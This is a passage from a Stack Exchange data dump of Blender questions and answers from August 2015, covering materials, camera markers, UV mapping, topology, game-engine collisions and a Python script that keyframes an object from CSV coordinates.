here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used the same red color for the diffuse and glossy shader which results in a less plastic look. After changing the color of the glossy shader to white the dice looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iLbmn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLbmn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The top looks more plastic, but the rest is not quite what I want.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Question&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;How can I improve my material to get a 'realistic' plastic look for my dice? Below you can find a screen shot of my current setup: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sjB9X.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sjB9X.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After removing the relecting floor (and a little adjustment of the lighting and applying the material setup as above) I got the outcome shown below. I am sort of pleased with the plastic look but now I have lost my reflective floor ....and I don't like that. How to create an image with the plastic look and the reflective floor ??? Or would that be a Photoshop job ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zcmA2.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zcmA2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/425/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=425&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am looking for a plastic material like &lt;a href=&quot;http://www.cliparthut.com/rolling-dice-clip-art-clipart-tO29Fj.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; or &lt;a href=&quot;http://www.qualitylogoproducts.com/stress-balls/dice-stress-reliever.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm a beginner and I'd appreciate a explanation or some instructions how to achieve this. Thanks.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="13877" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-08-19T12:14:52.807" Title="Plastic material for a dice" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="12" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35940" PostTypeId="1" CreationDate="2015-08-18T16:48:17.127" Score="0" ViewCount="83" Body="&lt;p&gt;I struggle with this problem - I want to get one animation from two or more points of view - to render this in one cycle I want to get 100 frames from one camera, switch to another one, get time to begining, get another 100 frames... is it possible to do? With GUI or from python script?&lt;/p&gt;&#xA;" OwnerUserId="15549" LastEditorUserId="15549" LastEditDate="2015-08-18T16:56:01.467" LastActivityDate="2015-09-18T12:38:46.450" Title="Change start time for each camera" Tags="&lt;scripting&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="0" ClosedDate="2015-09-18T15:34:27.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="35941" PostTypeId="1" CreationDate="2015-08-18T16:55:03.170" Score="1" ViewCount="474" Body="&lt;p&gt;I have a cube (cube.1) parented to another cube (cube.2), and both cubes are dynamic bodies with the same properties. Both cubes have &quot;box&quot; collision bounds. Also, both cubes are inside a room. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/eDEBL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eDEBL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I move cube.2 while in the game engine, it collides with the walls of the room and stops.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LlNYK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LlNYK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/zTI9D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zTI9D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But cube.1, which is parented to it, does not. Why is this happening? Also, what can I do to make cube.1 collide with objects and stop moving (stop going beyond their faces)?&lt;/p&gt;&#xA;" OwnerUserId="16361" LastEditorUserId="16361" LastEditDate="2015-08-19T01:34:33.510" LastActivityDate="2015-08-19T06:30:08.143" Title="BGE: Cube parented to another cube not colliding with objects" Tags="&lt;game-engine&gt;" AnswerCount="3" CommentCount="0" ClosedDate="2015-08-19T23:35:34.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="35942" PostTypeId="1" CreationDate="2015-08-18T16:57:25.647" Score="1" ViewCount="234" Body="&lt;p&gt;I'm trying to to texture an sample object to produce an object with &quot;color&quot; and texture.It work in blender render..&lt;a href=&quot;https://i.stack.imgur.com/TBhVO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TBhVO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but not in blender game.&lt;a href=&quot;https://i.stack.imgur.com/n0fHU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n0fHU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish someone can help me with this for my game.I'm new with blender :P thank you&lt;img src=&quot;https://i.stack.imgur.com/Q8F1B.png&quot; alt=&quot;![enter image description here&quot;&gt;]&lt;a href=&quot;https://i.stack.imgur.com/Q8F1B.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14805" LastActivityDate="2015-08-19T22:10:03.460" Title="how to texture an object and keeping the object's color" Tags="&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35943" PostTypeId="2" ParentId="35940" CreationDate="2015-08-18T17:02:53.953" Score="1" Body="&lt;p&gt;This can be achieved with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;markers &lt;/li&gt;&#xA;&lt;li&gt;bind camera's to markers:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is how to do it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to the last frame (frame 100 in your case) of camera a and select camera a&lt;/li&gt;&#xA;&lt;li&gt;Make sure the mouse is at the timeline, &lt;kbd&gt;M&lt;/kbd&gt; to add marker, and &lt;kbd&gt;Ctrl B&lt;/kbd&gt; to bind camera a to this marker&lt;/li&gt;&#xA;&lt;li&gt;Go to the beginning frame (frame 101 in your case) of the camera b and select camera b&lt;/li&gt;&#xA;&lt;li&gt;Make sure the mouse is at the timeline, &lt;kbd&gt;M&lt;/kbd&gt; to add marker, and &lt;kbd&gt;Ctrl B&lt;/kbd&gt; to bind camera b to this marker&lt;/li&gt;&#xA;&lt;li&gt;Go to the last frame (frame 200 in your case) of this camera&lt;/li&gt;&#xA;&lt;li&gt;Make sure the mouse is at the timeline, &lt;kbd&gt;M&lt;/kbd&gt; to add marker, and &lt;kbd&gt;Ctrl B&lt;/kbd&gt; to bind this camera to this marker&lt;/li&gt;&#xA;&lt;li&gt;You can do this for as many camera's as you want&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14206" LastActivityDate="2015-08-18T17:02:53.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35944" PostTypeId="2" ParentId="35941" CreationDate="2015-08-18T17:16:45.003" Score="1" Body="&lt;p&gt;:D TADAA !! just follow the game logic below.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/hY8DX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hY8DX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14805" LastActivityDate="2015-08-18T17:16:45.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35945" PostTypeId="1" AcceptedAnswerId="35962" CreationDate="2015-08-18T17:20:20.780" Score="5" ViewCount="1175" Body="&lt;p&gt;I am a highschool student working at a college's engineering department for the summer. I just began working in blender and have intermediate knowledge of python. Could anyone share a script that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Read a .csv file of xyz coordinates and a .csv file of quaternion coordinates into python.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn these points into some type of curve or path that an object can then follow to model the path the coordinates map out&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;.csv files&lt;/code&gt; (around 250 lines) have three and four points on each line. All the coordinates would need to be floats on account that they are decimals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can find both example .csv files: &lt;a href=&quot;https://gist.github.com/anonymous/a1a4cbe6e959ac14e5af&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/anonymous/a1a4cbe6e959ac14e5af&lt;/a&gt; to play with. My code looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;import csv&#xA;from mathutils import Vector&#xA;&#xA;def set_keyframes(obj, loc_txt, quat_txt):&#xA;    obj.rotation_mode = 'QUATERNION'&#xA;&#xA;    with open(loc_txt, 'r') as loc_fh:&#xA;        with open(quat_txt, 'r') as quat_fh:&#xA;            r_loc = csv.reader(loc_fh, delimiter=',')&#xA;            r_quat = csv.reader(quat_fh, delimiter=',')&#xA;&#xA;            i = 0&#xA;&#xA;            for row_loc in r_loc:&#xA;                row_quat = r_quat.__next__()&#xA;                row_loc = [ float(x.strip()) for x in row_loc[:3]]&#xA;                row_quat = [ float(x.strip()) for x in row_quat[:4]]&#xA;&#xA;                fr = 10+2*i&#xA;&#xA;                obj.location = Vector(row_loc) * 10&#xA;                obj.rotation_quaternion = row_quat&#xA;                obj.keyframe_insert(data_path=&quot;location&quot;, frame=fr)&#xA;                obj.keyframe_insert(data_path=&quot;rotation_quaternion&quot;, frame=fr)&#xA;&#xA;                i += 1&#xA;&#xA;&#xA;base_folder =  '/Users/sharonshorak/Desktop/ARYA_PYTHON'&#xA;&#xA;#  os.path.join  takes care of joining folder with filename.        &#xA;positions = os.path.join(base_folder, 'xyzposition.csv')&#xA;quaternions = os.path.join(base_folder, 'quaternions.csv')&#xA;&#xA;set_keyframes(bpy.context.active_object, positions, quaternions)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15671" LastEditorUserId="2217" LastEditDate="2016-05-24T13:46:32.960" LastActivityDate="2016-05-24T13:46:32.960" Title="python script to read in .csv file containing quaternion coordinates and turn it into a path/curve for an object to follow" Tags="&lt;bezier-curves&gt;&lt;coordinates&gt;&lt;csv&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="35946" PostTypeId="2" ParentId="35939" CreationDate="2015-08-18T17:24:19.617" Score="0" Body="&lt;p&gt;maybe the problem is the light bouncing from the floor to the dice.&#xA;-try to do it in blender render.&#xA;-put the floor in other layer(2).&#xA;-select the lamp. &#xA;-click the &quot;this layer only&quot;.&#xA;-make sure that the dice and the lamp are in the same layer(1).&#xA;-select the two layer(1),layer(2).&#xA;-then render.......&lt;/p&gt;&#xA;" OwnerUserId="14805" LastEditorUserId="14805" LastEditDate="2015-08-18T17:32:41.520" LastActivityDate="2015-08-18T17:32:41.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35947" PostTypeId="2" ParentId="35936" CreationDate="2015-08-18T17:26:23.053" Score="1" Body="&lt;p&gt;It seems to be an UV issue. I mapped identical parts of the cog to identical areas on the UV map. Substance Painter doesn't seem to like that. Unreal Engine doesn't seem to have this issue. I now applied all modifiers and smart UV unwrapped and I'm finally having no artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eHlBP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eHlBP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-08-18T17:26:23.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35948" PostTypeId="1" CreationDate="2015-08-18T17:29:04.197" Score="2" ViewCount="632" Body="&lt;p&gt;I'm using Blender Internal. I have a ground plane set as receiving shadows, I have two light emitting planes, both have cast shadows on. I am using indirect lighting to utilize the effect of the light emitting planes. But I get no shadows cast on the ground plane, by the main object, a robot. How to get these shadows? Sorry for the noob question, I just suspect I'm missing some simple tick here or there, that will switch it on. :-)&lt;/p&gt;&#xA;" OwnerUserId="16239" LastActivityDate="2015-08-18T17:29:04.197" Title="How to get shadows on the ground plane? (Noob)" Tags="&lt;light&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35949" PostTypeId="1" AcceptedAnswerId="35951" CreationDate="2015-08-18T18:00:38.847" Score="6" ViewCount="11055" Body="&lt;p&gt;I am modelling a mountain on the Moon using a reference photo from above. I have added a simple plane in top ortho view, and would really like to just plop that photo onto the plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started looking into UV mapping, but it doesn't seem to be what I need, at least not the way it is usually used. I added the image as a reference, which helps a little, but of course as soon as I'm not in top ortho view, it disappears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this?&lt;/p&gt;&#xA;" OwnerUserId="7548" LastActivityDate="2016-01-25T15:18:21.787" Title="Adding an image to a plane as a reference" Tags="&lt;image&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35950" PostTypeId="1" AcceptedAnswerId="36033" CreationDate="2015-08-18T18:05:29.137" Score="7" ViewCount="3031" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dpAx4.jpg&quot; alt=&quot;the gravel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make gravel for my animation, and so far I've tried particles resembling pebble pieces. This method seems too clumsy, so is there an efficient way to make a pile of gravel with collisions on?&lt;/p&gt;&#xA;" OwnerUserId="16509" LastEditorUserId="32220" LastEditDate="2019-01-29T20:08:59.300" LastActivityDate="2019-05-09T06:23:13.367" Title="How to efficiently model a pile of stones or pebbles" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="35951" PostTypeId="2" ParentId="35949" CreationDate="2015-08-18T18:06:43.607" Score="6" Body="&lt;p&gt;You can use the addon &lt;strong&gt;Import Images as Planes&lt;/strong&gt;, after installation go to File &gt; Import &gt; Images as Planes, and now you should choose the photo. It will be imported as plane. With out need of you Unwrapping it.&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-18T18:06:43.607" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35952" PostTypeId="2" ParentId="35941" CreationDate="2015-08-18T18:14:51.483" Score="1" Body="&lt;p&gt;I think you shall have a look at &quot;constraints&quot; or maybe stop dynamics or stop parent in the actuator list whenever it collides with a wall (property or material collision detection) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on the expected &quot;effect&quot;. If you could be more precise so could I.&lt;/p&gt;&#xA;" OwnerUserId="16511" LastActivityDate="2015-08-18T18:14:51.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35954" PostTypeId="1" CreationDate="2015-08-18T18:35:10.787" Score="1" ViewCount="766" Body="&lt;p&gt;The problem is:&#xA;I have 1 mesh.&#xA;I want some faces of the mesh to be in one map (faces A) and other faces of the mesh in another map (faces B).&#xA;Now when I unwrap faces A, there is no problem, I get a UV map only with these faces.&#xA;When I unwrap faces B to a new UV map, there is faces B and faces A on that map. While on the first map there is only faces A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possibility to only get faces B on the second map or can I just move the faces A away?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/423/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=423&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file there is a plane. I first picked some vertices and unwrapped them with U -&gt; Unwrap leading to UVmap1.&#xA;Afterwards I picked some other vertices, created a new UV map with the + and then unwrapped them. Now if you select all and switch between the maps you will see that UV map 1 contains only the first vertices and uv map 2 contains the first and the second ones.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-18T20:19:34.180" Title="UV unwrap: separate maps for separate faces problem" Tags="&lt;mesh&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35955" PostTypeId="1" AcceptedAnswerId="35959" CreationDate="2015-08-18T19:14:32.277" Score="1" ViewCount="255" Body="&lt;p&gt;Im creating a mesh, or more specifically a very detailed robot. I look for modeling suggestions to the following concerns.(see below)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;is it suggested that i use a lot of edge loop (for definitions sake), while also using a subsurfice modifier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;for some reason i feel like all of my edge loop are going to bite me right back later on. (has this happened to you? if so what do you suggest)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;p.s I'm box modeling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="15133" LastActivityDate="2015-08-18T19:40:51.967" Title="Is adding a lot of loop cuts bad?" Tags="&lt;modeling&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35956" PostTypeId="1" AcceptedAnswerId="35964" CreationDate="2015-08-18T19:23:26.060" Score="0" ViewCount="150" Body="&lt;p&gt;I am quite sure I've seen someone to disable scale change when animating, for an instance if I enable &lt;strong&gt;FK / IK&lt;/strong&gt; and drag my hand to change position it will stretch like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vKFYL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vKFYL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &#xA;&lt;a href=&quot;https://i.stack.imgur.com/OtmOf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OtmOf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how can I fix that. &lt;em&gt;(no scripting)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-18T20:42:27.850" Title="Keep Scale While Animating" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;rigging&gt;&lt;properties&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35958" PostTypeId="2" ParentId="35954" CreationDate="2015-08-18T19:40:25.603" Score="1" Body="&lt;p&gt;Yes you can have separate textures for separate faces. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One technique is to scale the vertices of unwanted faces by zero to the median point. Scale 0.  The area of the faces are now zero. Zero area signals no mapping is attempted.  I hope the single dot on the uv map is acceptable to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FByUb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FByUb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mark seams so as to partition faces into group A and group B&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;First UV Slot&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;uv unwrap case 1 and move unwanted faces to the side of uv map. The texture repeat must be set to [clip].&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Second UV slot&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;uv unwrap case 2 and move unwanted faces to the side of uv map. The texture repeat must be set to [clip].&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The combination of faces of the uv map and repeat set to [clip] should achieve your goal&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Keep in mind advanced users may be able to simply use one uv map with texture painting.  You are the advanced user.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-18T20:19:34.180" LastActivityDate="2015-08-18T20:19:34.180" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35959" PostTypeId="2" ParentId="35955" CreationDate="2015-08-18T19:40:51.967" Score="1" Body="&lt;p&gt;It depends a lot on the situation and what you're modeling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, I try to get the main shape of my model in before adding in the subserf, and then once it's to the point where I need extra geometry, or smoothing, I'll add in the subserf, and start to add in holding edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an edge loop isn't adding anything, get rid of it. Every vertex should have a purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're getting to the point where you think that it's becoming a bit too messy, it could be a good idea to retopologize your mesh to streamline the topology.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-08-18T19:40:51.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35960" PostTypeId="1" CreationDate="2015-08-18T19:43:27.290" Score="1" ViewCount="339" Body="&lt;p&gt;I have imported the image below as a plane, and am adding lots of vertices to the plane in preparation for dividing it into quads and triangles that are aligned with the contours of the mountain shown.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2Y8mO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Y8mO.png&quot; alt=&quot;mountain on moon edited in blender&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When going through tutorials, I recall it being said that one should avoid triangles whenever possible. Once I have created all the vertices and start connecting them, dividing up everything into spaces that make sense to stretch vertically and thus form the contours of the mountain, do I need to plan well to avoid triangles? These points are going to be pulled fairly far along the z axis, and then they will need to be proportionally edited and subsurfaced to get the soft shapes of its slopes correct. I wouldn't want patches to start misbehaving once I've gotten to that point. Are there general guidelines about this?&lt;/p&gt;&#xA;" OwnerUserId="7548" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-18T20:01:38.983" Title="Planning - how important is it to create mostly quads and few triangles?" Tags="&lt;mesh&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35961" PostTypeId="2" ParentId="35960" CreationDate="2015-08-18T20:01:38.983" Score="1" Body="&lt;p&gt;I'm no expert on mesh topology, but I do know that good topology (with nicely flowing edge loops and almost only quads) is important &lt;a href=&quot;https://blender.stackexchange.com/questions/2931/why-should-triangle-meshes-be-avoided-for-character-animation&quot;&gt;especially if you want to animate and deform your mesh&lt;/a&gt;, and less so in most other cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some tools work better with quads than tris, such as the subdivision modifier which sometimes generates weird artefacts, especially when the mesh is irregular. EDIT: Rigging and skinning is also easier when you have a clean quad based topology with nice flowing edge loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most other cases triangles will pose no problem (I might have forgotten a few other examples for issues, which others here might add, but there probably aren't that many). You can texture, shade, light, 3D print with ease even if your entire mesh is made of tris.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-08-18T20:01:38.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35962" PostTypeId="2" ParentId="35945" CreationDate="2015-08-18T20:34:24.863" Score="3" Body="&lt;p&gt;Your data was rather ugly, but I was able to write code that copes with the extra commas and spaces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://www.purplefrog.com/~thoth/blender/python-cookbook/csv-to-fcurve-loc-rot.html&quot; rel=&quot;nofollow&quot;&gt;http://www.purplefrog.com/~thoth/blender/python-cookbook/csv-to-fcurve-loc-rot.html&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an updated version that handles the situation where the location and quaternion .CSV files do not have the same number of lines.  This opens up more questions about why they differ.  Are they different sample rates or different time spans or both?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import csv&#xA;&#xA;def keyframe_location(obj, fname):&#xA;    with open(fname, 'r') as loc_fh:&#xA;        r_loc = csv.reader(loc_fh, delimiter=',')&#xA;        i = 0&#xA;        for row_loc in r_loc:&#xA;            row_loc = [ float(x.strip()) for x in row_loc[:3]]&#xA;            fr = 10+2*i&#xA;            obj.location = row_loc&#xA;            obj.keyframe_insert(data_path=&quot;location&quot;, frame=fr)&#xA;&#xA;            i = i+1&#xA;&#xA;&#xA;def keyframe_rotation(obj, fname):&#xA;    with open(fname, 'r') as quat_fh:&#xA;        r_quat = csv.reader(quat_fh, delimiter=',')&#xA;        i = 0&#xA;        obj.rotation_mode = 'QUATERNION'&#xA;        for row_quat in r_quat:&#xA;            row_quat = [ float(x.strip()) for x in row_quat[:4]]&#xA;            fr = 10+2*i&#xA;            obj.rotation_quaternion = row_quat&#xA;            obj.keyframe_insert(data_path=&quot;rotation_quaternion&quot;, frame=fr)&#xA;&#xA;            i = i+1&#xA;&#xA;&#xA;def mission2(obj, loc_csv, quat_csv):&#xA;    &quot;&quot;&quot;&#xA;     Use this version if the loc and quat .CSV files do not have the same number of lines.&#xA;     This opens up the question: why do they have differing numbers of lines?&#xA;     Are they covering the same time span at different frame rates, or do they cover different time spans?&#xA;    &quot;&quot;&quot;&#xA;    keyframe_location(obj, loc_csv)&#xA;    keyframe_rotation(obj, quat_csv)&#xA;&#xA;&#xA;#&#xA;#&#xA;&#xA;mission2(bpy.context.active_object, '/var/tmp/loc.txt', &quot;/var/tmp/quat.txt&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-08-20T15:25:52.203" LastActivityDate="2015-08-20T15:25:52.203" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35964" PostTypeId="2" ParentId="35956" CreationDate="2015-08-18T20:42:27.850" Score="1" Body="&lt;p&gt;This isn't the scale, but the IK stretch feature, which you can control from the properties panel (N shortcut key). The following video explains how to use this property to control stretching:&#xA;&lt;a href=&quot;http://youtu.be/AII-n2GHbG4&quot; rel=&quot;nofollow&quot;&gt;http://youtu.be/AII-n2GHbG4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15861" LastActivityDate="2015-08-18T20:42:27.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35965" PostTypeId="1" CreationDate="2015-08-18T20:49:48.197" Score="1" ViewCount="367" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MS0ng.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MS0ng.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above bush is made of many initially individual images on planes, one per plane (leafs). Then joined into one mesh. This mesh uses 2 materials.&#xA; But now I need to replace all these planes with one mesh (which I already made with the Re-mesh modifier, and lots of cleaning). &#xA; At first I thought I could bake all those planes into one texture to then just apply it to the other single mesh. But after baking I can see it is only using one of the many planes, hence the result is one big leaf in my baked image &#xA; Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to inspect the &lt;a href=&quot;http://www.pasteall.org/blend/37622&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend&lt;/a&gt; &lt;a 